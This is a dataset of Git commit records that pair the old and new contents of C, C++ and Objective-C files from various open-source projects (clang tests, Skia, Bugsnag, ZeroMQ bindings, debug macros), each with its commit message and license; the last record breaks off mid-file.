{"commit":"ba720db1b44374db3f31647ab1f159e7ce4b115d","old_file":"test\/CodeGen\/ffp-contract-option.c","new_file":"test\/CodeGen\/ffp-contract-option.c","old_contents":"\/\/ RUN: %clang_cc1 -O3 -ffp-contract=fast -triple=powerpc-apple-darwin10 -S -o - %s | FileCheck %s\n\/\/ REQUIRES: powerpc-registered-target\n\nfloat fma_test1(float a, float b, float c) {\n\/\/ CHECK: fmadds\n  float x = a * b;\n  float y = x + c;\n  return y;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -O3 -ffp-contract=fast -triple=aarch64-apple-darwin -S -o - %s | FileCheck %s\n\/\/ REQUIRES: aarch64-registered-target\n\nfloat fma_test1(float a, float b, float c) {\n\/\/ CHECK: fmadd\n  float x = a * b;\n  float y = x + c;\n  return y;\n}\n","subject":"Change -ffp-contract=fast test to run on Aarch64","message":"Change -ffp-contract=fast test to run on Aarch64\n\n(I don't have powerpc enabled in my build and I am changing\nhow -ffp-contract=fast works.)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@298468 91177308-0d34-0410-b5e6-96231b3b80d8\n(cherry picked from commit fa33394bb70481412493fcf40d53ebdb2e738058)\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"45abc5865c967100e72e603102ceb6393a7530ea","old_file":"tests\/class_construction_tracker.h","new_file":"tests\/class_construction_tracker.h","old_contents":"\/*\n * Copyright 2014 Google Inc. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef FRUIT_CLASS_CONSTRUCTION_TRACKER_H\n#define FRUIT_CLASS_CONSTRUCTION_TRACKER_H\n\n\/**\n * This class is useful to keep track of how many instances of a given type are created during the entire program\n * execution.\n *\n * Example use:\n *   class Foo : public ConstructionTracker<Foo> {\n *      ...\n *   };\n *\n *   int main() {\n *     ...\n *     assert(Foo::num_objects_constructed == 3);\n *   }\n *\/\ntemplate <typename T>\nstruct ConstructionTracker {\n  static std::size_t num_objects_constructed;\n\n  ConstructionTracker() {\n    ++num_objects_constructed;\n  }\n};\n\ntemplate <typename T>\nstd::size_t ConstructionTracker<T>::num_objects_constructed = 0;\n\n#endif \/\/ FRUIT_CLASS_CONSTRUCTION_TRACKER_H\n","new_contents":"\/*\n * Copyright 2014 Google Inc. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef FRUIT_CLASS_CONSTRUCTION_TRACKER_H\n#define FRUIT_CLASS_CONSTRUCTION_TRACKER_H\n\n#include <cstddef>\n\n\/**\n * This class is useful to keep track of how many instances of a given type are created during the entire program\n * execution.\n *\n * Example use:\n *   class Foo : public ConstructionTracker<Foo> {\n *      ...\n *   };\n *\n *   int main() {\n *     ...\n *     assert(Foo::num_objects_constructed == 3);\n *   }\n *\/\ntemplate <typename T>\nstruct ConstructionTracker {\n  static std::size_t num_objects_constructed;\n\n  ConstructionTracker() {\n    ++num_objects_constructed;\n  }\n};\n\ntemplate <typename T>\nstd::size_t ConstructionTracker<T>::num_objects_constructed = 0;\n\n#endif \/\/ FRUIT_CLASS_CONSTRUCTION_TRACKER_H\n","subject":"Add a missing import to fix compilation of Fruit tests.","message":"Add a missing import to fix compilation of Fruit tests.\n","lang":"C","license":"apache-2.0","repos":"google\/fruit,google\/fruit,google\/fruit"}
{"commit":"c031eb0a246c091c297009129b527e3e226027ef","old_file":"tests\/regression\/49-expsplit\/04-multi-split.c","new_file":"tests\/regression\/49-expsplit\/04-multi-split.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] expsplit\n#include <stddef.h>\n#include <assert.h>\n#include <goblint.h>\n\nint main() {\n  int r, r2; \/\/ rand\n  int x, y, z;\n\n  __goblint_split_begin(x);\n  __goblint_split_begin(y);\n  if (r) {\n    x = 1;\n    if (r2) {\n      y = 1;\n      z = 1;\n    }\n    else {\n      y = 2;\n      z = 2;\n    }\n  }\n  else {\n    x = 2;\n    if (r2) {\n      y = 1;\n      z = 3;\n    }\n    else {\n      y = 2;\n      z = 4;\n    }\n  }\n\n  __goblint_check((x == 1 && y == 1 && z == 1) || (x == 1 && y == 2 && z == 2) || (x == 2 && y == 1 && z == 3) || (x == 2 && y == 2 && z == 4));\n\n  __goblint_split_end(x);\n\n  __goblint_check((x == 1 && y == 1 && z == 1) || (x == 1 && y == 2 && z == 2) || (x == 2 && y == 1 && z == 3) || (x == 2 && y == 2 && z == 4)); \/\/ UNKNOWN (intentionally)\n\n  __goblint_split_end(y);\n\n  __goblint_check((x == 1 && y == 1 && z == 1) || (x == 1 && y == 2 && z == 2) || (x == 2 && y == 1 && z == 3) || (x == 2 && y == 2 && z == 4)); \/\/ UNKNOWN (intentionally)\n\n  return 0;\n}","subject":"Test expsplit with multiple simultaneous splits","message":"Test expsplit with multiple simultaneous splits\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4aa31926c882067cf65c9230e9cfa61d575ae1aa","old_file":"inc\/cc.h","new_file":"inc\/cc.h","old_contents":"\/* See LICENSE file for copyright and license details. *\/\n#include <sys\/types.h>\n\n#ifndef NDEBUG\nextern int debug;\n#define DBG(fmt, ...) dbg(fmt, __VA_ARGS__)\n#define DBGON() (debug = 1)\n#else\n#define DBG(...)\n#define DBGON()\n#endif\n\n#ifndef PREFIX\n#define PREFIX \"\/usr\/local\/\"\n#endif\n\n#define TINT        long long\n#define TUINT       unsigned long long\n#define TFLOAT      double\n\nstruct items {\n\tchar **s;\n\tunsigned n;\n};\n\nextern void die(const char *fmt, ...);\nextern void dbg(const char *fmt, ...);\nextern void newitem(struct items *items, char *item);\nextern void *xmalloc(size_t size);\nextern void *xcalloc(size_t nmemb, size_t size);\nextern char *xstrdup(const char *s);\nextern void *xrealloc(void *buff, register size_t size);\n","new_contents":"\/* See LICENSE file for copyright and license details. *\/\n#include <sys\/types.h>\n\n#ifndef NDEBUG\nextern int debug;\n#define DBG(...) dbg(__VA_ARGS__)\n#define DBGON() (debug = 1)\n#else\n#define DBG(...)\n#define DBGON()\n#endif\n\n#ifndef PREFIX\n#define PREFIX \"\/usr\/local\/\"\n#endif\n\n#define TINT        long long\n#define TUINT       unsigned long long\n#define TFLOAT      double\n\nstruct items {\n\tchar **s;\n\tunsigned n;\n};\n\nextern void die(const char *fmt, ...);\nextern void dbg(const char *fmt, ...);\nextern void newitem(struct items *items, char *item);\nextern void *xmalloc(size_t size);\nextern void *xcalloc(size_t nmemb, size_t size);\nextern char *xstrdup(const char *s);\nextern void *xrealloc(void *buff, register size_t size);\n","subject":"Remove first parameter of DBG()","message":"Remove first parameter of DBG()\n\nThis first parameter was disallowing use of DBG() without a second\nparameter.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"0c746fc3c3b99b09d0a437f434bbade0640dc9c2","old_file":"src\/dict_example.c","new_file":"src\/dict_example.c","old_contents":"\/\/ cc dict_example.c dict.c\n\n#include <assert.h>\n#include <stdio.h>\n#include <string.h>\n#include \"bool.h\"\n#include \"dict.h\"\n\nint main(int argc, const char *argv[])\n{\n    \/* allocate a new dict *\/\n    struct dict *dict = dict();\n    \/* set key and values to dict *\/\n    char *key1 = \"key1\";\n    char *key2 = \"key2\";\n    char *val1 = \"val1\";\n    char *val2 = \"val2\";\n    assert(dict_set(dict, key1, strlen(key1), val1) == DICT_OK);\n    assert(dict_set(dict, key2, strlen(key2), val2) == DICT_OK);\n    \/* get dict length *\/\n    assert(dict_len(dict) == 2);\n    \/* get data by key *\/\n    assert(dict_get(dict, key1, strlen(key1)) == val1);\n    assert(dict_get(dict, key2, strlen(key2)) == val2);\n    \/* iterate dict *\/\n    struct dict_iter *iter = dict_iter(dict);\n    struct dict_node *node = NULL;\n    while ((node = dict_iter_next(iter)) != NULL) {\n        printf(\"%.*s => %s\\n\", (int)node->len, node->key, node->val);\n    }\n    \/* free dict iterator *\/\n    dict_iter_free(iter);\n    \/* free the dict *\/\n    dict_free(dict);\n    return 0;\n}\n","new_contents":"\/\/ cc dict_example.c dict.c md5.c\n\n#include <assert.h>\n#include <stdio.h>\n#include <string.h>\n#include \"bool.h\"\n#include \"dict.h\"\n\nint main(int argc, const char *argv[])\n{\n    \/* allocate a new dict *\/\n    struct dict *dict = dict();\n    \/* set key and values to dict *\/\n    char *key1 = \"key1\";\n    char *key2 = \"key2\";\n    char *val1 = \"val1\";\n    char *val2 = \"val2\";\n    assert(dict_set(dict, key1, strlen(key1), val1) == DICT_OK);\n    assert(dict_set(dict, key2, strlen(key2), val2) == DICT_OK);\n    \/* get dict length *\/\n    assert(dict_len(dict) == 2);\n    \/* get data by key *\/\n    assert(dict_get(dict, key1, strlen(key1)) == val1);\n    assert(dict_get(dict, key2, strlen(key2)) == val2);\n    \/* iterate dict *\/\n    struct dict_iter *iter = dict_iter(dict);\n    struct dict_node *node = NULL;\n    while ((node = dict_iter_next(iter)) != NULL) {\n        printf(\"%.*s => %s\\n\", (int)node->len, node->key, (char *)node->val);\n    }\n    \/* free dict iterator *\/\n    dict_iter_free(iter);\n    \/* free the dict *\/\n    dict_free(dict);\n    return 0;\n}\n","subject":"Fix void * casting to char * warning","message":"Fix void * casting to char * warning\n","lang":"C","license":"bsd-2-clause","repos":"hit9\/C-Snip,hit9\/C-Snip"}
{"commit":"8c2a82270ecc5d88350ca75511ba68f21e42993a","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 100\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 101\n#endif\n","subject":"Update Skia milestone to 101","message":"Update Skia milestone to 101\n\nChange-Id: I78fd07c10a8dd3ff76b6040109afdf4b47b69eb0\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/510656\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nCommit-Queue: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"bb0a2963f2d67428142b910abb2fd3168f7b0c44","old_file":"BitManipulation\/Lonely_Integer.c","new_file":"BitManipulation\/Lonely_Integer.c","old_contents":"","new_contents":"\/*\nProblem Statement\n\nThere are N integers in an array A. All but one integer occur in pairs. Your task is to find the number that occurs only once.\n\nInput Format\n\nThe first line of the input contains an integer N, indicating the number of integers. The next line contains N space-separated integers that form the array A.\n\nConstraints\n\n1≤N<100 \nN % 2=1 (N is an odd number) \n0≤A[i]≤100,∀i∈[1,N]\nOutput Format\n\nOutput S, the number that occurs only once.\n\nSample Input:1\n\n1\n1\nSample Output:1\n\n1\nSample Input:2\n\n3\n1 1 2\nSample Output:2\n\n2\nSample Input:3\n\n5\n0 0 1 2 1\nSample Output:3\n\n2\nExplanation\n\nIn the first input, we see only one element (1) and that element is the answer. \nIn the second input, we see three elements; 1 occurs at two places and 2 only once. Thus, the answer is 2. \nIn the third input, we see five elements. 1 and 0 occur twice. The element that occurs only once is 2.\n*\/\n#include <stdio.h>\n#include <string.h>\n#include <math.h>\n#include <stdlib.h>\n#include <assert.h>\nint lonelyinteger(int a_size, int* a) {\n    int result;\n    result = 0;\n    for(int i=0 ; i<a_size ; i++){\n        result = result ^ a[i];\n    }\nreturn result;\n\n}\nint main() {\n    int res;\n    \n    int _a_size, _a_i;\n    scanf(\"%d\", &_a_size);\n    int _a[_a_size];\n    for(_a_i = 0; _a_i < _a_size; _a_i++) { \n        int _a_item;\n        scanf(\"%d\", &_a_item);\n        \n        _a[_a_i] = _a_item;\n    }\n    \n    res = lonelyinteger(_a_size, _a);\n    printf(\"%d\", res);\n    \n    return 0;\n}\n","subject":"Add Bit Manipulation to find lonely integer by XOR trick","message":"Add Bit Manipulation to find lonely integer by XOR trick\n","lang":"C","license":"mit","repos":"anaghajoshi\/HackerRank"}
{"commit":"62eb7949cb5a593f262a881337474a3012fa8f1c","old_file":"Source\/Private.h","new_file":"Source\/Private.h","old_contents":"#ifndef BUGSNAG_PRIVATE_H\n#define BUGSNAG_PRIVATE_H\n\n#import \"Bugsnag.h\"\n#import \"BugsnagBreadcrumb.h\"\n\n@interface BugsnagBreadcrumbs ()\n\/**\n * Reads and return breadcrumb data currently stored on disk\n *\/\n- (NSArray *_Nullable)cachedBreadcrumbs;\n@end\n\n@interface Bugsnag ()\n\n\/** Get the current Bugsnag configuration.\n *\n * This method returns nil if called before +startBugsnagWithApiKey: or\n * +startBugsnagWithConfiguration:, and otherwise returns the current\n * configuration for Bugsnag.\n *\n * @return The configuration, or nil.\n *\/\n+ (BugsnagConfiguration *_Nullable)configuration;\n\n@end\n\n#endif \/\/ BUGSNAG_PRIVATE_H\n","new_contents":"\/**\n * Exposes non-public interfaces between the components of the library for\n * internal use\n *\/\n#ifndef BUGSNAG_PRIVATE_H\n#define BUGSNAG_PRIVATE_H\n\n#import \"Bugsnag.h\"\n#import \"BugsnagBreadcrumb.h\"\n\n@interface BugsnagBreadcrumbs ()\n\/**\n * Reads and return breadcrumb data currently stored on disk\n *\/\n- (NSArray *_Nullable)cachedBreadcrumbs;\n@end\n\n@interface Bugsnag ()\n\n\/** Get the current Bugsnag configuration.\n *\n * This method returns nil if called before +startBugsnagWithApiKey: or\n * +startBugsnagWithConfiguration:, and otherwise returns the current\n * configuration for Bugsnag.\n *\n * @return The configuration, or nil.\n *\/\n+ (BugsnagConfiguration *_Nullable)configuration;\n\n@end\n\n#endif \/\/ BUGSNAG_PRIVATE_H\n","subject":"Add description to internal header","message":"doc: Add description to internal header\n","lang":"C","license":"mit","repos":"bugsnag\/bugsnag-cocoa,bugsnag\/bugsnag-cocoa,bugsnag\/bugsnag-cocoa,bugsnag\/bugsnag-cocoa"}
{"commit":"668205545defd3dea025c55c57f7a5da6ce0408a","old_file":"HLSpriteKit\/HLError.h","new_file":"HLSpriteKit\/HLError.h","old_contents":"\/\/\n\/\/  HLError.h\n\/\/  HLSpriteKit\n\/\/\n\/\/  Created by Karl Voskuil on 6\/6\/14.\n\/\/  Copyright (c) 2014 Hilo Games. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n The error level for logging non-critical errors using `HLError()`.\n*\/\ntypedef NS_ENUM(NSInteger, HLErrorLevel) {\n  \/**\n   Errors.\n  *\/\n  HLLevelError,\n  \/**\n   Warnings.\n  *\/\n  HLLevelWarning,\n  \/**\n   Information.\n  *\/\n  HLLevelInfo,\n};\n\n\/**\n Logs a non-critical error.\n*\/\nstatic void\nHLError(HLErrorLevel level, NSString *message)\n{\n  \/\/ TODO: This is a placeholder for a better mechanism for non-critical error logging,\n  \/\/ e.g. CocoaLumberjack.\n  NSString *levelLabel;\n  switch (level) {\n    case HLLevelInfo:\n      levelLabel = @\"INFO\";\n      break;\n    case HLLevelWarning:\n      levelLabel = @\"WARNING\";\n      break;\n    case HLLevelError:\n      levelLabel = @\"ERROR\";\n      break;\n  }\n  NSLog(@\"%@: %@\", levelLabel, message);\n}\n","new_contents":"\/\/\n\/\/  HLError.h\n\/\/  HLSpriteKit\n\/\/\n\/\/  Created by Karl Voskuil on 6\/6\/14.\n\/\/  Copyright (c) 2014 Hilo Games. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n The error level for logging non-critical errors using `HLError()`.\n*\/\ntypedef NS_ENUM(NSInteger, HLErrorLevel) {\n  \/**\n   Errors.\n  *\/\n  HLLevelError,\n  \/**\n   Warnings.\n  *\/\n  HLLevelWarning,\n  \/**\n   Information.\n  *\/\n  HLLevelInfo,\n};\n\n\/**\n Logs a non-critical error.\n*\/\nstatic inline void\nHLError(HLErrorLevel level, NSString *message)\n{\n  \/\/ TODO: This is a placeholder for a better mechanism for non-critical error logging,\n  \/\/ e.g. CocoaLumberjack.\n  NSString *levelLabel;\n  switch (level) {\n    case HLLevelInfo:\n      levelLabel = @\"INFO\";\n      break;\n    case HLLevelWarning:\n      levelLabel = @\"WARNING\";\n      break;\n    case HLLevelError:\n      levelLabel = @\"ERROR\";\n      break;\n  }\n  NSLog(@\"%@: %@\", levelLabel, message);\n}\n","subject":"Fix compiler warning for unused function.","message":"Fix compiler warning for unused function.\n","lang":"C","license":"mit","repos":"hilogames\/HLSpriteKit,hilogames\/HLSpriteKit"}
{"commit":"607a98e1038ac8cfda62e6b9b00d1e1387cfeca3","old_file":"Set\/Set.h","new_file":"Set\/Set.h","old_contents":"\/\/\n\/\/  Set.h\n\/\/  Set\n\/\/\n\/\/  Created by Rob Rix on 2014-06-22.\n\/\/  Copyright (c) 2014 Rob Rix. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for Set.\nFOUNDATION_EXPORT double SetVersionNumber;\n\n\/\/! Project version string for Set.\nFOUNDATION_EXPORT const unsigned char SetVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Set\/PublicHeader.h>\n\n\n","new_contents":"\/\/  Copyright (c) 2014 Rob Rix. All rights reserved.\n\n\/\/\/ Project version number for Set.\nextern double SetVersionNumber;\n\n\/\/\/ Project version string for Set.\nextern const unsigned char SetVersionString[];\n","subject":"Tidy up the umbrella header.","message":"Tidy up the umbrella header.\n","lang":"C","license":"mit","repos":"IngmarStein\/Set,IngmarStein\/Set,madbat\/Set,IngmarStein\/Set,robrix\/Set,robrix\/Set,natecook1000\/Set,natecook1000\/Set,natecook1000\/Set,madbat\/Set,madbat\/Set,robrix\/Set"}
{"commit":"0359b53645d2e067d4b41cb1c41396946ad6de7c","old_file":"src\/core\/types.c","new_file":"src\/core\/types.c","old_contents":"#include <ljit\/types.h>\n\nljit_value ljit_new_value(ljit_types type)\n{\n    ljit_value val = NULL;\n\n    if ((val = malloc(sizeof(ljit_value))) == NULL)\n        return NULL;\n\n    val->type = type;\n    val->is_cst = 0;\n    val->is_tmp = 0;\n    val->index = 0;\n    val->data = NULL;\n\n    return val;\n}\n\nvoid ljit_free_value(ljit_value value)\n{\n    if (!value)\n        return;\n\n     free(value->data);\n     free(value);\n}\n\nljit_value ljit_new_uchar_cst(ljit_uchar value)\n{\n    ljit_value cst = ljit_new_value(LJIT_UCHAR);\n    ljit_uchar *val = NULL;\n\n    if (!cst)\n        return NULL;\n\n    if ((val = malloc(sizeof(ljit_uchar))) == NULL)\n    {\n        ljit_free_value(cst);\n        return NULL;\n    }\n\n    *val = value;\n    cst->data = val;\n    cst->is_cst = 1;\n\n    return cst;\n}\n","new_contents":"#include <ljit\/types.h>\n\nljit_value ljit_new_value(ljit_types type)\n{\n    ljit_value val = NULL;\n\n    if ((val = malloc(sizeof(struct ljit_value_s))) == NULL)\n        return NULL;\n\n    val->type = type;\n    val->is_cst = 0;\n    val->is_tmp = 0;\n    val->index = 0;\n    val->data = NULL;\n\n    return val;\n}\n\nvoid ljit_free_value(ljit_value value)\n{\n    if (!value)\n        return;\n\n     free(value->data);\n     free(value);\n}\n\nljit_value ljit_new_uchar_cst(ljit_uchar value)\n{\n    ljit_value cst = ljit_new_value(LJIT_UCHAR);\n    ljit_uchar *val = NULL;\n\n    if (!cst)\n        return NULL;\n\n    if ((val = malloc(sizeof(ljit_uchar))) == NULL)\n    {\n        ljit_free_value(cst);\n        return NULL;\n    }\n\n    *val = value;\n    cst->data = val;\n    cst->is_cst = 1;\n\n    return cst;\n}\n","subject":"Fix allocation issues on ljit_new_value()","message":"[CORE] Fix allocation issues on ljit_new_value()\n","lang":"C","license":"mit","repos":"Nakrez\/LiteJit,Nakrez\/LiteJit"}
{"commit":"a9c85baedcdb73a4f72ec1dd7dc05a8a93ea56d9","old_file":"src\/binding.h","new_file":"src\/binding.h","old_contents":"\/* Copyright (c) 2017 Rolf Timmermans *\/\n#pragma once\n\n#include <napi.h>\n#include <zmq.h>\n#include <node.h>\n#include <cassert>\n#include <iostream>\n\n#include \"inline\/arguments.h\"\n#include \"inline\/error.h\"\n#include \"inline\/util.h\"\n\n#ifdef __MSVC__\n#define force_inline inline __forceinline\n#else\n#define force_inline inline __attribute__((always_inline))\n#endif\n","new_contents":"\/* Copyright (c) 2017 Rolf Timmermans *\/\n#pragma once\n\n#include <napi.h>\n\n#include <zmq.h>\n#if ZMQ_VERSION < ZMQ_MAKE_VERSION(4,1,0)\n#   include <zmq_utils.h>\n#endif\n\n#include <node.h>\n#include <cassert>\n\n#include \"inline\/arguments.h\"\n#include \"inline\/error.h\"\n#include \"inline\/util.h\"\n\n#ifdef __MSVC__\n#define force_inline inline __forceinline\n#else\n#define force_inline inline __attribute__((always_inline))\n#endif\n","subject":"Include zmq utils if necessary.","message":"Include zmq utils if necessary.\n","lang":"C","license":"mit","repos":"rolftimmermans\/zeromq-ng,rolftimmermans\/zeromq-ng"}
{"commit":"64bd95f2799cdcaa44d58e2e1d3650477c2bd793","old_file":"include\/tasm\/asm.h","new_file":"include\/tasm\/asm.h","old_contents":"#pragma once\n#include <stddef.h> \/\/ size_t definition\n\n#include <tasm\/bytes.h>\n#include <tasm\/private\/execute.h>\n#include <tasm\/private\/byte_string.h>\n#include <tasm\/private\/foldable.h>\n#include <tasm\/private\/label.h>\n#include <tasm\/private\/state.h>\n\nnamespace tasm {\n\n\/**\n    Convert an Asm program into machine code.\n*\/\ntemplate <typename program>\nusing assemble = typename details::call<\n    program,\n    state::pass2state<typename details::call<program, state::pass1state>::first>>::second;\n\n\/**\n    Assembly function wrapper.\n*\/\ntemplate <typename R, typename P>\nstruct AsmProgram {\n    using program = P;\n\n    template <typename... Args>\n    R operator()(Args... args) {\n        return ((R(*)(std::decay_t<Args>...))P::data)(args...);\n    }\n};\n\n\/**\n    Block of assembly code.\n*\/\ntemplate <typename x, typename... xs>\nconstexpr auto block(x, xs...) {\n    return execute::seq<x, xs...>{};\n}\n\n\/**\n    Create a top level assembly function.\n*\/\ntemplate <typename R, typename x, typename... xs>\nconstexpr auto Asm(x, xs...) {\n    return AsmProgram<R, assemble<execute::seq<x, xs...>>>();\n}\n\n} \/\/ tasm\n","new_contents":"#pragma once\n#include <stddef.h> \/\/ size_t definition\n\n#include <tasm\/bytes.h>\n#include <tasm\/private\/execute.h>\n#include <tasm\/private\/byte_string.h>\n#include <tasm\/private\/foldable.h>\n#include <tasm\/private\/label.h>\n#include <tasm\/private\/state.h>\n\nnamespace tasm {\n\n\/**\n    Convert an Asm program into machine code.\n*\/\ntemplate <typename program>\nusing assemble = typename details::call<\n    program,\n    state::pass2state<typename details::call<program, state::pass1state>::first>>::second;\n\n\/**\n    Assembly function wrapper.\n*\/\ntemplate <typename R, typename P>\nstruct AsmProgram {\n    using program = P;\n\n    template <typename... Args>\n    R operator()(Args... args) {\n        return reinterpret_cast<R(*)(std::decay_t<Args>...)>(const_cast<char*>(P::data))(args...);\n    }\n};\n\n\/**\n    Block of assembly code.\n*\/\ntemplate <typename x, typename... xs>\nconstexpr auto block(x, xs...) {\n    return execute::seq<x, xs...>{};\n}\n\n\/**\n    Create a top level assembly function.\n*\/\ntemplate <typename R, typename x, typename... xs>\nconstexpr auto Asm(x, xs...) {\n    return AsmProgram<R, assemble<execute::seq<x, xs...>>>();\n}\n\n} \/\/ tasm\n","subject":"Fix remaining cast alignment warnings through the magic of casting","message":"Fix remaining cast alignment warnings through the magic of casting\n","lang":"C","license":"mit","repos":"mattbierner\/Template-Assembly,mattbierner\/Template-Assembly,izissise\/Template-Assembly,izissise\/Template-Assembly"}
{"commit":"ab2597957bad0f23068435799bcdfe246e1c8a61","old_file":"SSPSolution\/GraphicsDLL\/GraphicsComponent.h","new_file":"SSPSolution\/GraphicsDLL\/GraphicsComponent.h","old_contents":"#ifndef GRAPHICSDLL_GRAPHICSCOMPONENT_H\n#define GRAPHICSDLL_GRAPHICSCOMPONENT_H\n\n#include <DirectXMath.h>\n\nstruct GraphicsComponent\n{\n\tint active = 0;\n\tint modelID = -1;\n\tDirectX::XMMATRIX worldMatrix;\n};\n\nstruct penis\n{\n\tint active = 0;\n\tint modelID = -1;\n\tint joints = 0;\n\tDirectX::XMMATRIX worldMatrix;\n\n\tDirectX::XMMATRIX finalTransforms[32];\n};\n\nstruct UIComponent\n{\n\tint active = 0;\n\tint spriteID = -1;\n\tbool wasClicked = false;\n\tDirectX::XMFLOAT2 position = DirectX::XMFLOAT2(0.0f, 0.0f);\n\tDirectX::XMFLOAT2 size = DirectX::XMFLOAT2(10.0f, 10.0f);\n};\n#endif","new_contents":"#ifndef GRAPHICSDLL_GRAPHICSCOMPONENT_H\n#define GRAPHICSDLL_GRAPHICSCOMPONENT_H\n\n#include <d3d11.h>\n#include <DirectXMath.h>\n\nstruct GraphicsComponent\n{\n\tint active = 0;\n\tint modelID = -1;\n\tDirectX::XMMATRIX worldMatrix;\n};\n\nstruct penis\n{\n\tint active = 0;\n\tint modelID = -1;\n\tint joints = 0;\n\tDirectX::XMMATRIX worldMatrix;\n\n\tDirectX::XMMATRIX finalTransforms[32];\n};\n\nstruct UIComponent\n{\n\tint active = 0;\n\tint spriteID = -1;\n\tbool wasClicked = false;\n\tDirectX::XMFLOAT2 position = DirectX::XMFLOAT2(0.0f, 0.0f);\n\tDirectX::XMFLOAT2 size = DirectX::XMFLOAT2(10.0f, 10.0f);\n\n\tvoid UpdateClicked(DirectX::XMFLOAT2 mousePos, DirectX::XMFLOAT2 windowSize)\n\t{\n\t\tfloat mouseX = mousePos.x - (GetSystemMetrics(SM_CXSCREEN) - windowSize.x) \/ 2;\n\t\tfloat mouseY = mousePos.y - (GetSystemMetrics(SM_CYSCREEN) - windowSize.y) \/ 2;\n\n\t\tif ((mouseX > this->position.x - this->size.x && mouseX < this->position.x + this->size.x) \n\t\t\t&& (mouseY > this->position.y - this->size.y && mouseY < this->position.y + this->size.y)) {\n\t\t\tthis->wasClicked = true;\n\t\t}\n\t}\n\tbool CheckClicked()\n\t{\n\t\tif (this->wasClicked)\n\t\t{\n\t\t\tthis->wasClicked = false;\n\t\t\treturn true;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n\t}\n};\n#endif","subject":"ADD clicked functionallity in UIComponent","message":"ADD clicked functionallity in UIComponent\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"1bdefe79332fc5c1b325b2ebe6e1a8dccebe026d","old_file":"hecuba_core\/src\/debug.h","new_file":"hecuba_core\/src\/debug.h","old_contents":"#ifndef __DEBUG_H__\n#define __DEBUG_H__\n\n#undef ENABLE_DEBUG\n\n#ifdef ENABLE_DEBUG\n#include <sstream>\n#define DBG(x...) \\\n        do {\\\n            std::cout<< \"DBG \" << x << std::endl;\\\n        } while(0)\n#define DBGHEXTOSTRING(_b, _size) \\\n    do { \\\n        char *b = (char*)(_b);\\\n        uint64_t size = (uint64_t) (_size);\\\n        DBG(\" size: \"<< size); \\\n        std::stringstream stream; \\\n        for (uint64_t i = 0; i<size; i++) { \\\n            stream << std::hex << int(b[i]); \\\n        } \\\n        DBG( stream.str() ); \\\n    } while(0)\n#else\n#define DBG(x...)\n#define DBGHEXTOSTRING(b,size)\n#endif\n\n\n#endif \/* __DEBUG_H__ *\/\n","new_contents":"#ifndef __DEBUG_H__\n#define __DEBUG_H__\n\n#undef ENABLE_DEBUG\n\n#ifdef ENABLE_DEBUG\n\n#include <sstream>\n\n#if __STDC_VERSION__ < 199901L\n# if __GNUC__ >= 2\n#  define __func__ __FUNCTION__\n# else\n#  define __func__ \"<unknown>\"\n# endif\n#endif\n\n#define DBG(x...) \\\n        do {\\\n            std::cout<< \"DBG \" << __func__ << \": \" << x << std::endl;\\\n        } while(0)\n\n#define DBGHEXTOSTRING(_b, _size) \\\n    do { \\\n        char *b = (char*)(_b);\\\n        uint64_t size = (uint64_t) (_size);\\\n        DBG(\" size: \"<< size); \\\n        std::stringstream stream; \\\n        for (uint64_t i = 0; i<size; i++) { \\\n            stream << std::hex << int(b[i]); \\\n        } \\\n        DBG( stream.str() ); \\\n    } while(0)\n\n#else\n\n#define DBG(x...)\n#define DBGHEXTOSTRING(b,size)\n\n#endif\n\n\n#endif \/* __DEBUG_H__ 